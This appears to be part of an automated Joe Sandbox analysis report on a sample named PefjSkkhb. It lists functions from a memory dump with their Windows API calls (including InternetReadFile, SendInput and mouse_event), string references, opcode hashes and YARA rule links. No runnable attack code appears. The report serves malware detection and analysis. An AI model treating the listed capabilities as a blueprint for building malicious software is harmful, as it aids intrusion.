Opcode Fuzzy Hash: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction Fuzzy Hash: 280140736247818FE7208F30D4553A937A0FB547AEF410929E64986A98DF7DC158CF80

Function 00007FF697B82F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

., xrefs: 00007FF697B83198

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
Instruction ID: 52d9eca4e6b4ee2c74f4e4138f7fe0d6703fa5a8ff8cac12645d471be43a160c
Opcode Fuzzy Hash: e1d1fb4f290d3f8f73012e05781d19b6c344ca2143228aded1dc3f30a5d54e4e
Instruction Fuzzy Hash: 59314632B1869244EB70AF7298046FEA691FB52BE4F448635EE6D87BCCDE3CD5018300

Function 00007FF697B7BEF8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF697B7475C,?,?,00000000,00007FF697B747D9,?,?,?,?,?,00007FF697BC2210), ref: 00007FF697B7BF3F

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00007FF697B7BF18

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Time$FileSystem
String ID: GetSystemTimePreciseAsFileTime
API String ID: 2086374402-595813830
Opcode ID: 572b71549e45f6bab70ab7a1e99299a405b58e83dcd9cf08a8343814aa6f0cc3
Instruction ID: 93c50b7e46200b3c3376ba53a8e90e329534c72a8547856e4652d20326d366bb
Opcode Fuzzy Hash: 572b71549e45f6bab70ab7a1e99299a405b58e83dcd9cf08a8343814aa6f0cc3
Instruction Fuzzy Hash: 1AF06D34A19A4791EE25BF61F8550B56321EF4AFC0F8850B1DD0E8B759EE3CE548DB00

Function 00007FF697B867F0 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF697B86A3D
RaiseException.KERNEL32 ref: 00007FF697B86A4E

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
Instruction ID: 9e50e43150cfd7d9b07e022d6545d40b485cd9fc2863636dd4606a4808f5af82
Opcode Fuzzy Hash: 2c887139cc1f69395780bda7c312862f1bbc48349006177215bd8e385e5acab5
Instruction Fuzzy Hash: D4B14B73604B85CAEB25CF29C8453A83BA0F745B8CF158962DB5D877A9CF39D451C700

Function 00007FF697BC71F4 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF697BC7227
FindClose.KERNEL32 ref: 00007FF697BC726A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction ID: 5acb1a96227ee5fcd6518550640e4cea300dbafa70a8f180a45289dbe9c3eb5a
Opcode Fuzzy Hash: c9c219a70f1c370a867d1a9527945e6bdb48ca94d3a7acfc6404a472547bc866
Instruction Fuzzy Hash: E5114C72B0874182DB24DF2AE0843687760FB89BE0F158671DB6D87799CF7CD4518740

Function 00007FF697BC3778 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF697BD7AD2), ref: 00007FF697BC379A
FormatMessageW.KERNEL32 ref: 00007FF697BC37C9

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
Instruction ID: 0fc4f5c6144a0d3ea53b6027b98712a43f29349844c60c4be9433e1a1aea22d6
Opcode Fuzzy Hash: a2008fc71fb315c0dad007a4b51d1fe3c27baf42b183b088b3737ee8cb1df6e2
Instruction Fuzzy Hash: CFF0C83171864252E7305F15F80166AA6A5FFCA7D4F545134EB9D83B9DDE3CC0048B00

Function 00007FF697B795B0 Relevance: 2.9, Strings: 2, Instructions: 378COMMONLIBRARYCODE

Download Yara Rule

Strings

a/p, xrefs: 00007FF697B798D9
am/pm, xrefs: 00007FF697B7986E

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: a/p$am/pm
API String ID: 0-3206640213
Opcode ID: 7b3f4c1adbce48e9712f7f101c5ec161db5e41a840f2bf09c06579e081aceba8
Instruction ID: 1fdd633d4fc5202192beac3a562efd94f214f0760d5645c7d37ca05bac6bc251
Opcode Fuzzy Hash: 7b3f4c1adbce48e9712f7f101c5ec161db5e41a840f2bf09c06579e081aceba8
Instruction Fuzzy Hash: 9CE19C32A1965286EB748F2881556B923A5FF437C0F5581B2EA5EC6EDCEF3DE950C300

Function 00007FF697B6C3FC Relevance: 2.7, Strings: 2, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF697B6C5B3
0x%p, xrefs: 00007FF697B6C40B

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$0x%p
API String ID: 3215553584-2479247192
Opcode ID: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
Instruction ID: ff3866099b003a8e7ea4b7eff2f1ea1e27eb0a60240a86031d32d77adca7cc3b
Opcode Fuzzy Hash: 2cf1ea9a671600e4e0a2c177b28b5012e25eeeeabff85c4abdd8ee56160d1f52
Instruction Fuzzy Hash: FD81BF32A1824246EAB88F25C44167D3390EF46BE4F5425B1DF0AC7A9DCF2FFA469740

Function 00007FF697B5FA4F Relevance: 1.7, Strings: 1, Instructions: 447COMMON

Download Yara Rule

Strings

no error, xrefs: 00007FF697BA3953

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: no error
API String ID: 0-1106124726
Opcode ID: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction ID: b9e5bc9f7e9e8b0af69f8772d266cb981f8e84aec5d8c3f4440c2f522bf19226
Opcode Fuzzy Hash: daf22cd7e491b1831c7a4d7ece73bd53412841c2595e7b00d29937dbea50e64a
Instruction Fuzzy Hash: CA128A72A087918AE734DF65E4402AD73B5FB09798B508136EB8E97B98DF38E940C740

Function 00007FF697BCE87C Relevance: 1.6, APIs: 1, Instructions: 62filenetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B748E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B74835

InternetReadFile.WININET ref: 00007FF697BCE8D8

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FileInternetRead_invalid_parameter_noinfo
String ID:
API String ID: 101623796-0
Opcode ID: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
Instruction ID: 42b817a030e94b7e482df5661a66ec0331608aeb46e08c524c798217d7d612ae
Opcode Fuzzy Hash: c3326f14f3a704366430a438f9a2af4b616e46cbc6777093e0014b63cfdf3a9b
Instruction Fuzzy Hash: 0B216232B0869286FB74DF15A4507A92360FB86BC5F8891B5DA8C87B8DDF7CE501CB44

Function 00007FF697BB9420 Relevance: 1.5, APIs: 1, Instructions: 26keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32 ref: 00007FF697BB9465

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: InputSend
String ID:
API String ID: 3431551938-0
Opcode ID: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
Instruction ID: 4c6e0c4ebd4f73f5d6def7b324d1431437114a48e4483c5202559dee24d04dfe
Opcode Fuzzy Hash: f56fcc02370cedd2e246ff2304cc88798786294839e2fbad01620a5262f8ee40
Instruction Fuzzy Hash: D4F09A76918680C6D3308F15A44076A77A0FB59B89F406119EA8987B68CF3EC10A9F04

Function 00007FF697BBD1A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

mouse_event.USER32 ref: 00007FF697BBD1E1

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: d8d6f02688d8abf5cd4837f0aea5b825f774ed0048ed251121670875c750f025
Instruction ID: 3d862e866856772b300614f6983210b8d0465738b41e8184c0714f3f4072c232
Opcode Fuzzy Hash: d8d6f02688d8abf5cd4837f0aea5b825f774ed0048ed251121670875c750f025
Instruction Fuzzy Hash: B0E01A75E0C04392F2781F3955AA7361741FBD3380E9411B5DF49CAADCCD9DB605A514

Function 00007FF697B6C130 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF697B6C2E7

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction ID: a1da8fe3f86cd01b266f070ba3b40c417a29bf86b6d4430e64413dd3deb02cce
Opcode Fuzzy Hash: e36cd3313365073150127e4babc7a8598c5f16c08797db25288978382bee99ce
Instruction Fuzzy Hash: E781CF32A1820246EAB88F65C04467E3392EF47BE4F5415B2DF09D769DCF2EFA469740

Function 00007FF697B6BEB4 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF697B6C04E

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction ID: d501b6635b4bd0c2f91faf1271da78a927c5a7d46500e37ed07027a249d5c73e
Opcode Fuzzy Hash: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
Instruction Fuzzy Hash: 5C71B731A0C68246EA789F25905027E77A0EF437E4F2415B5DF08C76EDDE2EFA458B41

Function 00007FF697B7A8A0 Relevance: 1.4, Strings: 1, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

Strings

@, xrefs: 00007FF697B7A8DC

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
Instruction ID: 94873153eb2caa4645ff94a6287dce6a12b1088f44115b4c8126788dc0e372b1
Opcode Fuzzy Hash: 16c5ff97d355010ed637a1ec5e52f006fc41d4859a4220ae5f264295bc75ec93
Instruction Fuzzy Hash: 94419F72714B458AEB54CF2AD8152A973A1FB49FD0B49A036DE0D87B98EE3CD446C300

Function 00007FF697B558D0 Relevance: .7, Instructions: 692COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b43b05b4d174de04649b256e334c2e39119974175c185e79b62e938d94deaa
Instruction ID: 4ca99715fe5283f800752acbcd2d6519f88f006644cb1eb276c9c55bea7af519
Opcode Fuzzy Hash: a4b43b05b4d174de04649b256e334c2e39119974175c185e79b62e938d94deaa
Instruction Fuzzy Hash: 5952AE32A0C64686EA78DF25E09867D33A6EF17BC5F1945B6DA5EC7689CE3CE440C340

Function 00007FF697B4B390 Relevance: .7, Instructions: 682COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 2061a73cd3945fd94bedb99b3c789b7b4d50ac3471b691a7c242155b28bb0c52
Instruction ID: eff8348e16cafa3aa3fb69b2062974332125e79b614ae3b55ab5231380a6d2ef
Opcode Fuzzy Hash: 2061a73cd3945fd94bedb99b3c789b7b4d50ac3471b691a7c242155b28bb0c52
Instruction Fuzzy Hash: 29527972B08A428AEB20DF65D0542BD33A2EB86BE8F504275DF1DA77D9DE38E505D340

Function 00007FF697B4B9F0 Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1fe06b10e07b54366ff471c597b9079b0538ecbb90aa1f0cf57340e5c294d0c
Instruction ID: c5d19c1afcdd13ac9de1b38ea58b86602c9a27383c0eb6eb9bdd638eada73441
Opcode Fuzzy Hash: f1fe06b10e07b54366ff471c597b9079b0538ecbb90aa1f0cf57340e5c294d0c
Instruction Fuzzy Hash: 91427A32B08A828AEB20DF25D4902AD77A1FB867D8F604175EF5D87B99DF38E541D700

Function 00007FF697B730DC Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
Instruction ID: c363f6a547c4c388ab609ac86266f31a09324602b974f6f5bb607ff69b134efc
Opcode Fuzzy Hash: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
Instruction Fuzzy Hash: 9A42323592DE4A85E2639F35A8715366B24FF537C0F018373E80EF7A58EF2CA9469600

Function 00007FF697BC1A18 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction ID: 4afd11d32165a0c1a87adea376013975dd1575c564efa69361791ba72072cd79
Opcode Fuzzy Hash: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
Instruction Fuzzy Hash: 1721DE73B244058AEB18CF7AD8526A933A5E361748F08C17AD52B87688CE3CE905CB80

Function 00007FF697B7FD20 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction ID: 98f3c21182de06a88912349cfc3a9595894ccd9521497000434338d7941254e6
Opcode Fuzzy Hash: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
Instruction Fuzzy Hash: BCF04F71B182998EDBB58F2CA842A2977A0E7083C0F909479DA89C3F54DE3CD0629F04

Function 00007FF697B659C8 Relevance: .0, Instructions: 2COMMON

